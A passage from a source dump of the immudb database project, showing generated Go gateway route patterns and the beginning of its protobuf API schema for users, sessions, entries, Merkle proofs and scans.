[]string{\"db\", \"deletekey\"}, \"\", runtime.AssumeColonVerbOpt(true)))\n\n\tpattern_ImmuService_GetAll_0 = runtime.MustPattern(runtime.NewPattern(1, []int{2, 0, 2, 1}, []string{\"db\", \"getall\"}, \"\", runtime.AssumeColonVerbOpt(true)))\n\n\tpattern_ImmuService_ExecAll_0 = runtime.MustPattern(runtime.NewPattern(1, []int{2, 0, 2, 1}, []string{\"db\", \"execall\"}, \"\", runtime.AssumeColonVerbOpt(true)))\n\n\tpattern_ImmuService_Scan_0 = runtime.MustPattern(runtime.NewPattern(1, []int{2, 0, 2, 1}, []string{\"db\", \"scan\"}, \"\", runtime.AssumeColonVerbOpt(true)))\n\n\tpattern_ImmuService_Count_0 = runtime.MustPattern(runtime.NewPattern(1, []int{2, 0, 2, 1, 1, 0, 4, 1, 5, 2}, []string{\"db\", \"count\", \"prefix\"}, \"\", runtime.AssumeColonVerbOpt(true)))\n\n\tpattern_ImmuService_CountAll_0 = runtime.MustPattern(runtime.NewPattern(1, []int{2, 0, 2, 1}, []string{\"db\", \"countall\"}, \"\", runtime.AssumeColonVerbOpt(true)))\n\n\tpattern_ImmuService_TxById_0 = runtime.MustPattern(runtime.NewPattern(1, []int{2, 0, 2, 1, 1, 0, 4, 1, 5, 1}, []string{\"db\", \"tx\"}, \"\", runtime.AssumeColonVerbOpt(true)))\n\n\tpattern_ImmuService_VerifiableTxById_0 = runtime.MustPattern(runtime.NewPattern(1, []int{2, 0, 2, 1, 2, 2, 1, 0, 4, 1, 5, 2}, []string{\"db\", \"verifiable\", \"tx\"}, \"\", runtime.AssumeColonVerbOpt(true)))\n\n\tpattern_ImmuService_TxScan_0 = runtime.MustPattern(runtime.NewPattern(1, []int{2, 0, 2, 1}, []string{\"db\", \"tx\"}, \"\", runtime.AssumeColonVerbOpt(true)))\n\n\tpattern_ImmuService_History_0 = runtime.MustPattern(runtime.NewPattern(1, []int{2, 0, 2, 1}, []string{\"db\", \"history\"}, \"\", runtime.AssumeColonVerbOpt(true)))\n\n\tpattern_ImmuService_ServerInfo_0 = runtime.MustPattern(runtime.NewPattern(1, []int{2, 0}, []string{\"serverinfo\"}, \"\", runtime.AssumeColonVerbOpt(true)))\n\n\tpattern_ImmuService_Health_0 = runtime.MustPattern(runtime.NewPattern(1, []int{2, 0}, []string{\"health\"}, \"\", runtime.AssumeColonVerbOpt(true)))\n\n\tpattern_ImmuService_DatabaseHealth_0 = runtime.MustPattern(runtime.NewPattern(1, []int{2, 0, 2, 1}, []string{\"db\", \"health\"}, \"\", runtime.AssumeColonVerbOpt(true)))\n\n\tpattern_ImmuService_CurrentState_0 = runtime.MustPattern(runtime.NewPattern(1, []int{2, 0, 2, 1}, []string{\"db\", \"state\"}, \"\", runtime.AssumeColonVerbOpt(true)))\n\n\tpattern_ImmuService_SetReference_0 = runtime.MustPattern(runtime.NewPattern(1, []int{2, 0, 2, 1}, []string{\"db\", \"setreference\"}, \"\", runtime.AssumeColonVerbOpt(true)))\n\n\tpattern_ImmuService_VerifiableSetReference_0 = runtime.MustPattern(runtime.NewPattern(1, []int{2, 0, 2, 1, 2, 2}, []string{\"db\", \"verifiable\", \"setreference\"}, \"\", runtime.AssumeColonVerbOpt(true)))\n\n\tpattern_ImmuService_ZAdd_0 = runtime.MustPattern(runtime.NewPattern(1, []int{2, 0, 2, 1}, []string{\"db\", \"zadd\"}, \"\", runtime.AssumeColonVerbOpt(true)))\n\n\tpattern_ImmuService_VerifiableZAdd_0 = runtime.MustPattern(runtime.NewPattern(1, []int{2, 0, 2, 1, 2, 2}, []string{\"db\", \"verifiable\", \"zadd\"}, \"\", runtime.AssumeColonVerbOpt(true)))\n\n\tpattern_ImmuService_ZScan_0 = runtime.MustPattern(runtime.NewPattern(1, []int{2, 0, 2, 1}, []string{\"db\", \"zscan\"}, \"\", runtime.AssumeColonVerbOpt(true)))\n\n\tpattern_ImmuService_CreateDatabase_0 = runtime.MustPattern(runtime.NewPattern(1, []int{2, 0, 2, 1}, []string{\"db\", \"create\"}, \"\", runtime.AssumeColonVerbOpt(true)))\n\n\tpattern_ImmuService_CreateDatabaseWith_0 = runtime.MustPattern(runtime.NewPattern(1, []int{2, 0, 2, 1}, []string{\"db\", \"createwith\"}, \"\", runtime.AssumeColonVerbOpt(true)))\n\n\tpattern_ImmuService_CreateDatabaseV2_0 = runtime.MustPattern(runtime.NewPattern(1, []int{2, 0, 2, 1, 2, 2}, []string{\"db\", \"create\", \"v2\"}, \"\", runtime.AssumeColonVerbOpt(true)))\n\n\tpattern_ImmuService_LoadDatabase_0 = runtime.MustPattern(runtime.NewPattern(1, []int{2, 0, 2, 1}, []string{\"db\", \"load\"}, \"\", runtime.AssumeColonVerbOpt(true)))\n\n\tpattern_ImmuService_UnloadDatabase_0 = runtime.MustPattern(runtime.NewPattern(1, []int{2, 0, 2, 1}, []string{\"db\", \"unload\"}, \"\", runtime.AssumeColonVerbOpt(true)))\n\n\tpattern_ImmuService_DeleteDatabase_0 = runtime.MustPattern(runtime.NewPattern(1, []int{2, 0, 2, 1}, []string{\"db\", \"delete\"}, \"\", runtime.AssumeColonVerbOpt(true)))\n\n\tpattern_ImmuService_DatabaseList_0 = runtime.MustPattern(runtime.NewPattern(1, []int{2, 0, 2, 1}, []string{\"db\", \"list\"}, \"\", runtime.AssumeColonVerbOpt(true)))\n\n\tpattern_ImmuService_DatabaseListV2_0 = runtime.MustPattern(runtime.NewPattern(1, []int{2, 0, 2, 1, 2, 2}, []string{\"db\", \"list\", \"v2\"}, \"\", runtime.AssumeColonVerbOpt(true)))\n\n\tpattern_ImmuService_UseDatabase_0 = runtime.MustPattern(runtime.NewPattern(1, []int{2, 0, 2, 1, 1, 0, 4, 1, 5, 2}, []string{\"db\", \"use\", \"databaseName\"}, \"\", runtime.AssumeColonVerbOpt(true)))\n\n\tpattern_ImmuService_UpdateDatabase_0 = runtime.MustPattern(runtime.NewPattern(1, []int{2, 0, 2, 1}, []string{\"db\", \"update\"}, \"\", runtime.AssumeColonVerbOpt(true)))\n\n\tpattern_ImmuService_UpdateDatabaseV2_0 = runtime.MustPattern(runtime.NewPattern(1, []int{2, 0, 2, 1, 2, 2}, []string{\"db\", \"update\", \"v2\"}, \"\", runtime.AssumeColonVerbOpt(true)))\n\n\tpattern_ImmuService_GetDatabaseSettings_0 = runtime.MustPattern(runtime.NewPattern(1, []int{2, 0, 2, 1}, []string{\"db\", \"settings\"}, \"\", runtime.AssumeColonVerbOpt(true)))\n\n\tpattern_ImmuService_GetDatabaseSettingsV2_0 = runtime.MustPattern(runtime.NewPattern(1, []int{2, 0, 2, 1, 2, 2}, []string{\"db\", \"settings\", \"v2\"}, \"\", runtime.AssumeColonVerbOpt(true)))\n\n\tpattern_ImmuService_FlushIndex_0 = runtime.MustPattern(runtime.NewPattern(1, []int{2, 0, 2, 1}, []string{\"db\", \"flushindex\"}, \"\", runtime.AssumeColonVerbOpt(true)))\n\n\tpattern_ImmuService_CompactIndex_0 = runtime.MustPattern(runtime.NewPattern(1, []int{2, 0, 2, 1}, []string{\"db\", \"compactindex\"}, \"\", runtime.AssumeColonVerbOpt(true)))\n\n\tpattern_ImmuService_SQLExec_0 = runtime.MustPattern(runtime.NewPattern(1, []int{2, 0, 2, 1}, []string{\"db\", \"sqlexec\"}, \"\", runtime.AssumeColonVerbOpt(true)))\n\n\tpattern_ImmuService_UnarySQLQuery_0 = runtime.MustPattern(runtime.NewPattern(1, []int{2, 0, 2, 1}, []string{\"db\", \"sqlquery\"}, \"\", runtime.AssumeColonVerbOpt(true)))\n\n\tpattern_ImmuService_SQLQuery_0 = runtime.MustPattern(runtime.NewPattern(1, []int{2, 0, 2, 1}, []string{\"db\", \"sqlquery\"}, \"\", runtime.AssumeColonVerbOpt(true)))\n\n\tpattern_ImmuService_ListTables_0 = runtime.MustPattern(runtime.NewPattern(1, []int{2, 0, 2, 1, 2, 2}, []string{\"db\", \"table\", \"list\"}, \"\", runtime.AssumeColonVerbOpt(true)))\n\n\tpattern_ImmuService_DescribeTable_0 = runtime.MustPattern(runtime.NewPattern(1, []int{2, 0, 2, 1}, []string{\"db\", \"tables\"}, \"\", runtime.AssumeColonVerbOpt(true)))\n\n\tpattern_ImmuService_VerifiableSQLGet_0 = runtime.MustPattern(runtime.NewPattern(1, []int{2, 0, 2, 1, 2, 2}, []string{\"db\", \"verifiable\", \"sqlget\"}, \"\", runtime.AssumeColonVerbOpt(true)))\n\n\tpattern_ImmuService_TruncateDatabase_0 = runtime.MustPattern(runtime.NewPattern(1, []int{2, 0, 2, 1}, []string{\"db\", \"truncate\"}, \"\", runtime.AssumeColonVerbOpt(true)))\n)\n\nvar (\n\tforward_ImmuService_ListUsers_0 = runtime.ForwardResponseMessage\n\n\tforward_ImmuService_CreateUser_0 = runtime.ForwardResponseMessage\n\n\tforward_ImmuService_ChangePassword_0 = runtime.ForwardResponseMessage\n\n\tforward_ImmuService_ChangePermission_0 = runtime.ForwardResponseMessage\n\n\tforward_ImmuService_ChangeSQLPrivileges_0 = runtime.ForwardResponseMessage\n\n\tforward_ImmuService_SetActiveUser_0 = runtime.ForwardResponseMessage\n\n\tforward_ImmuService_Login_0 = runtime.ForwardResponseMessage\n\n\tforward_ImmuService_Logout_0 = runtime.ForwardResponseMessage\n\n\tforward_ImmuService_Set_0 = runtime.ForwardResponseMessage\n\n\tforward_ImmuService_VerifiableSet_0 = runtime.ForwardResponseMessage\n\n\tforward_ImmuService_Get_0 = runtime.ForwardResponseMessage\n\n\tforward_ImmuService_VerifiableGet_0 = runtime.ForwardResponseMessage\n\n\tforward_ImmuService_Delete_0 = runtime.ForwardResponseMessage\n\n\tforward_ImmuService_GetAll_0 = runtime.ForwardResponseMessage\n\n\tforward_ImmuService_ExecAll_0 = runtime.ForwardResponseMessage\n\n\tforward_ImmuService_Scan_0 = runtime.ForwardResponseMessage\n\n\tforward_ImmuService_Count_0 = runtime.ForwardResponseMessage\n\n\tforward_ImmuService_CountAll_0 = runtime.ForwardResponseMessage\n\n\tforward_ImmuService_TxById_0 = runtime.ForwardResponseMessage\n\n\tforward_ImmuService_VerifiableTxById_0 = runtime.ForwardResponseMessage\n\n\tforward_ImmuService_TxScan_0 = runtime.ForwardResponseMessage\n\n\tforward_ImmuService_History_0 = runtime.ForwardResponseMessage\n\n\tforward_ImmuService_ServerInfo_0 = runtime.ForwardResponseMessage\n\n\tforward_ImmuService_Health_0 = runtime.ForwardResponseMessage\n\n\tforward_ImmuService_DatabaseHealth_0 = runtime.ForwardResponseMessage\n\n\tforward_ImmuService_CurrentState_0 = runtime.ForwardResponseMessage\n\n\tforward_ImmuService_SetReference_0 = runtime.ForwardResponseMessage\n\n\tforward_ImmuService_VerifiableSetReference_0 = runtime.ForwardResponseMessage\n\n\tforward_ImmuService_ZAdd_0 = runtime.ForwardResponseMessage\n\n\tforward_ImmuService_VerifiableZAdd_0 = runtime.ForwardResponseMessage\n\n\tforward_ImmuService_ZScan_0 = runtime.ForwardResponseMessage\n\n\tforward_ImmuService_CreateDatabase_0 = runtime.ForwardResponseMessage\n\n\tforward_ImmuService_CreateDatabaseWith_0 = runtime.ForwardResponseMessage\n\n\tforward_ImmuService_CreateDatabaseV2_0 = runtime.ForwardResponseMessage\n\n\tforward_ImmuService_LoadDatabase_0 = runtime.ForwardResponseMessage\n\n\tforward_ImmuService_UnloadDatabase_0 = runtime.ForwardResponseMessage\n\n\tforward_ImmuService_DeleteDatabase_0 = runtime.ForwardResponseMessage\n\n\tforward_ImmuService_DatabaseList_0 = runtime.ForwardResponseMessage\n\n\tforward_ImmuService_DatabaseListV2_0 = runtime.ForwardResponseMessage\n\n\tforward_ImmuService_UseDatabase_0 = runtime.ForwardResponseMessage\n\n\tforward_ImmuService_UpdateDatabase_0 = runtime.ForwardResponseMessage\n\n\tforward_ImmuService_UpdateDatabaseV2_0 = runtime.ForwardResponseMessage\n\n\tforward_ImmuService_GetDatabaseSettings_0 = runtime.ForwardResponseMessage\n\n\tforward_ImmuService_GetDatabaseSettingsV2_0 = runtime.ForwardResponseMessage\n\n\tforward_ImmuService_FlushIndex_0 = runtime.ForwardResponseMessage\n\n\tforward_ImmuService_CompactIndex_0 = runtime.ForwardResponseMessage\n\n\tforward_ImmuService_SQLExec_0 = runtime.ForwardResponseMessage\n\n\tforward_ImmuService_UnarySQLQuery_0 = runtime.ForwardResponseMessage\n\n\tforward_ImmuService_SQLQuery_0 = runtime.ForwardResponseStream\n\n\tforward_ImmuService_ListTables_0 = runtime.ForwardResponseMessage\n\n\tforward_ImmuService_DescribeTable_0 = runtime.ForwardResponseMessage\n\n\tforward_ImmuService_VerifiableSQLGet_0 = runtime.ForwardResponseMessage\n\n\tforward_ImmuService_TruncateDatabase_0 = runtime.ForwardResponseMessage\n)\n"
  },
  {
    "path": "pkg/api/schema/schema.proto",
    "content": "/*\nCopyright 2022 Codenotary Inc. All rights reserved.\n\nLicensed under the Apache License, Version 2.0 (the \"License\");\nyou may not use this file except in compliance with the License.\nYou may obtain a copy of the License at\n\n        http://www.apache.org/licenses/LICENSE-2.0\n\nUnless required by applicable law or agreed to in writing, software\ndistributed under the License is distributed on an \"AS IS\" BASIS,\nWITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.\nSee the License for the specific language governing permissions and\nlimitations under the License.\n*/\n\nsyntax = \"proto3\";\n\npackage immudb.schema;\n\nimport \"google/api/annotations.proto\";\nimport \"google/protobuf/empty.proto\";\nimport \"google/protobuf/struct.proto\";\nimport \"protoc-gen-swagger/options/annotations.proto\";\n\noption go_package = \"github.com/codenotary/immudb/pkg/api/schema\";\noption (grpc.gateway.protoc_gen_swagger.options.openapiv2_swagger) = {\n  base_path: \"/api\",\n  info: {\n    title: \"immudb REST API\";\n    description: \"<b>IMPORTANT</b>: All <code>get</code> and <code>safeget</code> functions return <u>base64-encoded</u> keys and values, while all <code>set</code> and <code>safeset</code> functions expect <u>base64-encoded</u> inputs.\"\n  };\n  security_definitions: {\n    security: {\n      key: \"bearer\"\n      value: {\n        type: TYPE_API_KEY\n        in: IN_HEADER\n        name: \"Authorization\"\n        description: \"Authentication token, prefixed by Bearer: Bearer <token>\"\n      }\n    }\n  }\n  security: {\n    security_requirement: {\n      key: \"bearer\"\n    }\n  }\n};\n\nmessage Key {\n  bytes key = 1;\n}\n\nmessage Permission {\n  // Database name\n  string database = 1;\n\n  // Permission, 1 - read permission, 2 - read+write permission, 254 - admin, 255 - sysadmin\n  uint32 permission = 2;\n}\n\nmessage User {\n  // Username\n  bytes user = 1;\n\n  // List of permissions for the user\n  repeated Permission permissions = 3;\n\n  // Name of the creator user\n  string createdby = 4;\n\n  // Time when the user was created\n  string createdat = 5;\n\n  // Flag indicating whether the user is active or not\n  bool active = 6;\n\n  // List of SQL privileges\n  repeated SQLPrivilege sqlPrivileges = 7;\n}\n\nmessage SQLPrivilege {\n  // Database name\n  string database = 1;\n\n  // Privilege: SELECT, CREATE, INSERT, UPDATE, DELETE, DROP, ALTER\n  string privilege = 2;\n}\n\nmessage UserList {\n  // List of users\n  repeated User users = 1;\n}\n\nmessage CreateUserRequest {\n  // Username\n  bytes user = 1;\n\n  // Login password\n  bytes password = 2;\n\n  // Permission, 1 - read permission, 2 - read+write permission, 254 - admin\n  uint32 permission = 3;\n\n  // Database name\n  string database = 4;\n}\n\nmessage UserRequest {\n  // Username\n  bytes user = 1;\n}\n\nmessage ChangePasswordRequest {\n  // Username\n  bytes user = 1;\n\n  // Old password\n  bytes oldPassword = 2;\n\n  // New password\n  bytes newPassword = 3;\n}\n\nmessage LoginRequest {\n  // Username\n  bytes user = 1;\n\n  // User's password\n  bytes password = 2;\n}\n\nmessage LoginResponse {\n  // Deprecated: use session-based authentication\n  string token = 1;\n\n  // Optional: additional warning message sent to the user (e.g. request to change the password)\n  bytes warning = 2;\n}\n\n// DEPRECATED\nmessage AuthConfig {\n  uint32 kind = 1;\n}\n\n// DEPRECATED\nmessage MTLSConfig {\n  bool enabled = 1;\n}\n\nmessage OpenSessionRequest {\n  // Username\n  bytes username = 1;\n\n  // Password\n  bytes password = 2;\n\n  // Database name\n  string databaseName = 3;\n}\n\nmessage OpenSessionResponse {\n  // Id of the new session\n  string sessionID = 1;\n\n  // UUID of the server\n  string serverUUID = 2;\n}\n\n////////////////////////////////////////////////////////\n\nmessage Precondition {\n  // Only succeed if given key exists\n  message KeyMustExistPrecondition {\n    // key to check\n    bytes key = 1;\n  }\n\n  // Only succeed if given key does not exists\n  message KeyMustNotExistPrecondition {\n    // key to check\n    bytes key = 1;\n  }\n\n  // Only succeed if given key was not modified after given transaction\n  message KeyNotModifiedAfterTXPrecondition {\n    // key to check\n    bytes key = 1;\n\n    // transaction id to check against\n    uint64 txID = 2;\n  }\n\n  oneof precondition {\n    KeyMustExistPrecondition keyMustExist = 1;\n    KeyMustNotExistPrecondition keyMustNotExist = 2;\n    KeyNotModifiedAfterTXPrecondition keyNotModifiedAfterTX = 3;\n  }\n}\n\nmessage KeyValue {\n  bytes key = 1;\n  bytes value = 2;\n  KVMetadata metadata = 3;\n}\n\nmessage Entry {\n  // Transaction id at which the target value was set (i.e. not the reference transaction id)\n  uint64 tx = 1;\n\n  // Key of the target value (i.e. not the reference entry)\n  bytes key = 2;\n\n  // Value\n  bytes value = 3;\n\n  // If the request was for a reference, this field will keep information about the reference entry\n  Reference referencedBy = 4;\n\n  // Metadata of the target entry (i.e. not the reference entry)\n  KVMetadata metadata = 5;\n\n  // If set to true, this entry has expired and the value is not retrieved\n  bool expired = 6;\n\n  // Key's revision, in case of GetAt it will be 0\n  uint64 revision = 7;\n}\n\nmessage Reference {\n  // Transaction if when the reference key was set\n  uint64 tx = 1;\n\n  // Reference key\n  bytes key = 2;\n\n  // At which transaction the key is bound, 0 if reference is not bound and should read the most recent reference\n  uint64 atTx = 3;\n\n  // Metadata of the reference entry\n  KVMetadata metadata = 4;\n\n  // Revision of the reference entry\n  uint64 revision = 5;\n}\n\nmessage Op {\n  oneof operation {\n    // Modify / add simple KV value\n    KeyValue kv = 1;\n\n    // Modify / add sorted set entry\n    ZAddRequest zAdd = 2;\n\n    // Modify / add reference\n    ReferenceRequest ref = 3;\n  }\n}\n\nmessage ExecAllRequest {\n  // List of operations to perform\n  repeated Op Operations = 1;\n\n  // If set to true, do not wait for indexing to process this transaction\n  bool noWait = 2;\n\n  // Preconditions to check\n  repeated Precondition preconditions = 3;\n}\n\nmessage Entries {\n  // List of entries\n  repeated Entry entries = 1;\n}\n\nmessage ZEntry {\n  // Name of the sorted set\n  bytes set = 1;\n\n  // Referenced key\n  bytes key = 2;\n\n  // Referenced entry\n  Entry entry = 3;\n\n  // Sorted set element's score\n  double score = 4;\n\n  // At which transaction the key is bound,\n  // 0 if reference is not bound and should read the most recent reference\n  uint64 atTx = 5;\n}\n\nmessage ZEntries {\n  repeated ZEntry entries = 1;\n}\n\nmessage ScanRequest {\n  // If not empty, continue scan at (when inclusiveSeek == true)\n  // or after (when inclusiveSeek == false) that key\n  bytes seekKey = 1;\n\n  // stop at (when inclusiveEnd == true)\n  // or before (when inclusiveEnd == false) that key\n  bytes endKey = 7;\n\n  // search for entries with this prefix only\n  bytes prefix = 2;\n\n  // If set to true, sort items in descending order\n  bool desc = 3;\n\n  // maximum number of entries to get, if not specified, the default value is used\n  uint64 limit = 4;\n\n  // If non-zero, only require transactions up to this transaction to be\n  // indexed, newer transaction may still be pending\n  uint64 sinceTx = 5;\n\n  // Deprecated: If set to true, do not wait for indexing to be done before finishing this call\n  bool noWait = 6;\n\n  // If set to true, results will include seekKey\n  bool inclusiveSeek = 8;\n\n  // If set to true, results will include endKey if needed\n  bool inclusiveEnd = 9;\n\n  // Specify the initial entry to be returned by excluding the initial set of entries\n  uint64 offset = 10;\n}\n\nmessage KeyPrefix {\n  bytes prefix = 1;\n}\n\nmessage EntryCount {\n  uint64 count = 1;\n}\n\n///////////////\n\nmessage Signature {\n  bytes publicKey = 1;\n  bytes signature = 2;\n}\n\nmessage TxHeader {\n  // Transaction ID\n  uint64 id = 1;\n\n  // State value (Accumulative Hash - Alh) of the previous transaction\n  bytes prevAlh = 2;\n\n  // Unix timestamp of the transaction (in seconds)\n  int64 ts = 3;\n\n  // Number of entries in a transaction\n  int32 nentries = 4;\n\n  // Entries Hash - cumulative hash of all entries in the transaction\n  bytes eH = 5;\n\n  // Binary linking tree transaction ID\n  // (ID of last transaction already in the main Merkle Tree)\n  uint64 blTxId = 6;\n\n  // Binary linking tree root (Root hash of the Merkle Tree)\n  bytes blRoot = 7;\n\n  // Header version\n  int32 version = 8;\n\n  // Transaction metadata\n  TxMetadata metadata = 9;\n}\n\n// TxMetadata contains metadata set to whole transaction\nmessage TxMetadata {\n  // Entry expiration information\n  uint64 truncatedTxID = 1;\n  // Extra data\n  bytes extra = 2;\n}\n\n// LinearProof contains the linear part of the proof (outside the main Merkle Tree)\nmessage LinearProof {\n  // Starting transaction of the proof\n  uint64 sourceTxId = 1;\n\n  // End transaction of the proof\n  uint64 TargetTxId = 2;\n\n  // List of terms (inner hashes of transaction entries)\n  repeated bytes terms = 3;\n}\n\n// LinearAdvanceProof contains the proof of consistency between the consumed part of the older linear chain\n// and the new Merkle Tree\nmessage LinearAdvanceProof {\n  // terms for the linear chain\n  repeated bytes linearProofTerms = 1;\n\n  // inclusion proofs for steps on the linear chain\n  repeated InclusionProof inclusionProofs = 2;\n}\n\n// DualProof contains inclusion and consistency proofs for dual Merkle-Tree + Linear proofs\nmessage DualProof {\n  // Header of the source (earlier) transaction\n  TxHeader sourceTxHeader = 1;\n\n  // Header of the target (latter) transaction\n  TxHeader targetTxHeader = 2;\n\n  // Inclusion proof of the source transaction hash in the main Merkle Tree\n  repeated bytes inclusionProof = 3;\n\n  // Consistency proof between Merkle Trees in the source and target transactions\n  repeated bytes consistencyProof = 4;\n\n  // Accumulative hash (Alh) of the last transaction that's part of the target Merkle Tree\n  bytes targetBlTxAlh = 5;\n\n  // Inclusion proof of the targetBlTxAlh in the target Merkle Tree\n  repeated bytes lastInclusionProof = 6;\n\n  // Linear proof starting from targetBlTxAlh to the final state value\n  LinearProof linearProof = 7;\n\n  // Proof of consistency between some part of older linear chain and newer Merkle Tree\n  LinearAdvanceProof LinearAdvanceProof = 8;\n}\n\n// DualProofV2 contains inclusion and consistency proofs\nmessage DualProofV2 {\n  // Header of the source (earlier) transaction\n  TxHeader sourceTxHeader = 1;\n\n  // Header of the target (latter) transaction\n  TxHeader targetTxHeader = 2;\n\n  // Inclusion proof of the source transaction hash in the main Merkle Tree\n  repeated bytes inclusionProof = 3;\n\n  // Consistency proof between Merkle Trees in the source and target transactions\n  repeated bytes consistencyProof = 4;\n}\n\nmessage Tx {\n  // Transaction header\n  TxHeader header = 1;\n\n  // Raw entry values\n  repeated TxEntry entries = 2;\n\n  // KV entries in the transaction (parsed)\n  repeated Entry kvEntries = 3;\n\n  // Sorted Set entries in the transaction (parsed)\n  repeated ZEntry zEntries = 4;\n}\n\nmessage TxEntry {\n  // Raw key value (contains 1-byte prefix for kind of the key)\n  bytes key = 1;\n\n  // Value hash\n  bytes hValue = 2;\n\n  // Value length\n  int32 vLen = 3;\n\n  // Entry metadata\n  KVMetadata metadata = 4;\n\n  // value, must be ignored when len(value) == 0 and vLen > 0.\n  // Otherwise sha256(value) must be equal to hValue.\n  bytes value = 5;\n}\n\nmessage KVMetadata {\n  // True if this entry denotes a logical deletion\n  bool deleted = 1;\n\n  // Entry expiration information\n  Expiration expiration = 2;\n\n  // If set to true, this entry will not be indexed and will only be accessed through GetAt calls\n  bool nonIndexable = 3;\n}\n\nmessage Expiration {\n  // Entry expiration time (unix timestamp in seconds)\n  int64 expiresAt = 1;\n}\n\nmessage VerifiableTx {\n  // Transaction to verify\n  Tx tx = 1;\n\n  // Proof for the transaction\n  DualProof dualProof = 2;\n\n  // Signature for the new state value\n  Signature signature = 3;\n}\n\nmessage VerifiableTxV2 {\n  // Transaction to verify\n  Tx tx = 1;\n\n  // Proof for the transaction\n  DualProofV2 dualProof = 2;\n\n  // Signature for the new state value\n  Signature signature = 3;\n}\n\n//////////////////\n\nmessage VerifiableEntry {\n  // Entry to verify\n  Entry entry = 1;\n\n  // Transaction to verify\n  VerifiableTx verifiableTx = 2;\n\n  // Proof for inclusion of the entry within the transaction\n  InclusionProof inclusionProof = 3;\n}\n\nmessage InclusionProof {\n  // Index of the leaf for which the proof is generated\n  int32 leaf = 1;\n\n  // Width of the tree at the leaf level\n  int32 width = 2;\n\n  // Proof terms (selected hashes from the tree)\n  repeated bytes terms = 3;\n}\n\nmessage SetRequest {\n  // List of KV entries to set\n  repeated KeyValue KVs = 1;\n\n  // If set to true, do not wait for indexer to index ne entries\n  bool noWait = 2;\n\n  // Preconditions to be met to perform the write\n  repeated Precondition preconditions = 3;\n}\n\nmessage KeyRequest {\n  // Key to query for\n  bytes key = 1;\n\n  // If > 0, query for the value exactly at given transaction\n  uint64 atTx = 2;\n\n  // If 0 (and noWait=false), wait for the index to be up-to-date,\n  // If > 0 (and noWait=false), wait for at lest the sinceTx transaction to be indexed\n  uint64 sinceTx = 3;\n\n  // If set to true - do not wait for any indexing update considering only the currently indexed state\n  bool noWait = 4;\n\n  // If > 0, get the nth version of the value, 1 being the first version, 2 being the second and so on\n  // If < 0, get the historical nth value of the key, -1 being the previous version, -2 being the one before and so on\n  int64 atRevision = 5;\n}\n\nmessage KeyListRequest {\n  // List of keys to query for\n  repeated bytes keys = 1;\n\n  // If 0, wait for index to be up-to-date,\n  // If > 0, wait for at least sinceTx transaction to be indexed\n  uint64 sinceTx = 2;\n}\n\nmessage DeleteKeysRequest {\n  // List of keys to delete logically\n  repeated bytes keys = 1;\n\n  // If 0, wait for index to be up-to-date,\n  // If > 0, wait for at least sinceTx transaction to be indexed\n  uint64 sinceTx = 2;\n\n  // If set to true, do not wait for the indexer to index this operation\n  bool noWait = 3;\n}\n\nmessage VerifiableSetRequest {\n  // Keys to set\n  SetRequest setRequest = 1;\n\n  // When generating the proof, generate consistency proof with state from this transaction\n  uint64 proveSinceTx = 2;\n}\n\nmessage VerifiableGetRequest {\n  // Key to read\n  KeyRequest keyRequest = 1;\n\n  // When generating the proof, generate consistency proof with state from this transaction\n  uint64 proveSinceTx = 2;\n}\n\n// ServerInfoRequest exists to provide extensibility for rpc ServerInfo.\nmessage ServerInfoRequest {}\n\n// ServerInfoResponse contains information about the server instance.\nmessage ServerInfoResponse {\n  // The version of the server instance.\n  string version = 1;\n\n  // Unix timestamp (seconds) indicating when the server process has been started.\n  int64 startedAt = 2;\n\n  // Total number of transactions across all databases.\n  int64 numTransactions = 3;\n\n  // Total number of databases present.\n  int32 numDatabases = 4;\n\n  // Total disk size used by all databases.\n  int64 databasesDiskSize = 5;\n}\n\nmessage HealthResponse {\n  // If true, server considers itself to be healthy\n  bool status = 1;\n\n  // The version of the server instance\n  string version = 2;\n}\n\nmessage DatabaseHealthResponse {\n  // Number of requests currently being executed\n  uint32 pendingRequests = 1;\n\n  // Timestamp at which the last request was completed\n  int64 lastRequestCompletedAt = 2;\n}\n\nmessage ImmutableState {\n  // The db name\n  string db = 1;\n\n  // Id of the most recent transaction\n  uint64 txId = 2;\n\n  // State of the most recent transaction\n  bytes txHash = 3;\n\n  // Signature of the hash\n  Signature signature = 4;\n\n  // following fields are not part of the signature\n\n  // Id of the most recent precommitted transaction\n  uint64 precommittedTxId = 5;\n\n  // State of the most recent precommitted transaction\n  bytes precommittedTxHash = 6;\n}\n\nmessage ReferenceRequest {\n  // Key for the reference\n  bytes key = 1;\n\n  // Key to be referenced\n  bytes referencedKey = 2;\n\n  // If boundRef == true, id of transaction to bind with the reference\n  uint64 atTx = 3;\n\n  // If true, bind the reference to particular transaction,\n  // if false, use the most recent value of the key\n  bool boundRef = 4;\n\n  // If true, do not wait for the indexer to index this write operation\n  bool noWait = 5;\n\n  // Preconditions to be met to perform the write\n  repeated Precondition preconditions = 6;\n}\n\nmessage VerifiableReferenceRequest {\n  // Reference data\n  ReferenceRequest referenceRequest = 1;\n\n  // When generating the proof, generate consistency proof with state from this\n  // transaction\n  uint64 proveSinceTx = 2;\n}\n\nmessage ZAddRequest {\n  // Name of the sorted set\n  bytes set = 1;\n\n  // Score of the new entry\n  double score = 2;\n\n  // Referenced key\n  bytes key = 3;\n\n  // If boundRef == true, id of the transaction to bind with the reference\n  uint64 atTx = 4;\n\n  // If true, bind the reference to particular transaction, if false, use the\n  // most recent value of the key\n  bool boundRef = 5;\n\n  // If true, do not wait for the indexer to index this write operation\n  bool noWait = 6;\n}\n\nmessage Score {\n  // Entry's score value\n  double score = 1;\n}\n\nmessage ZScanRequest {\n  // Name of the sorted set\n  bytes set = 1;\n\n  // Key to continue the search at\n  bytes seekKey = 2;\n\n  // Score of the entry to continue the search at\n  double seekScore = 3;\n\n  // AtTx of the entry to continue the search at\n  uint64 seekAtTx = 4;\n\n  // If true, include the entry given with the `seekXXX` attributes, if false,\n  // skip the entry and start after that one\n  bool inclusiveSeek = 5;\n\n  // Maximum number of entries to return, if 0, the default limit will be used\n  uint64 limit = 6;\n\n  // If true, scan entries in descending order\n  bool desc = 7;\n\n  // Minimum score of entries to scan\n  Score minScore = 8;\n\n  // Maximum score of entries to scan\n  Score maxScore = 9;\n\n  // If > 0, do not wait for the indexer to index all entries, only require\n  // entries up to sinceTx to be indexed\n  uint64 sinceTx = 10;\n\n  // Deprecated: If set to true, do not wait for the indexer to be up to date\n  bool noWait = 11;\n\n  // Specify the index of initial entry to be returned by excluding the initial\n  // set of entries (alternative to seekXXX attributes)\n  uint64 offset = 12;\n}\n\nmessage HistoryRequest {\n  // Name of the key to query for the history\n  bytes key = 1;\n  // Specify 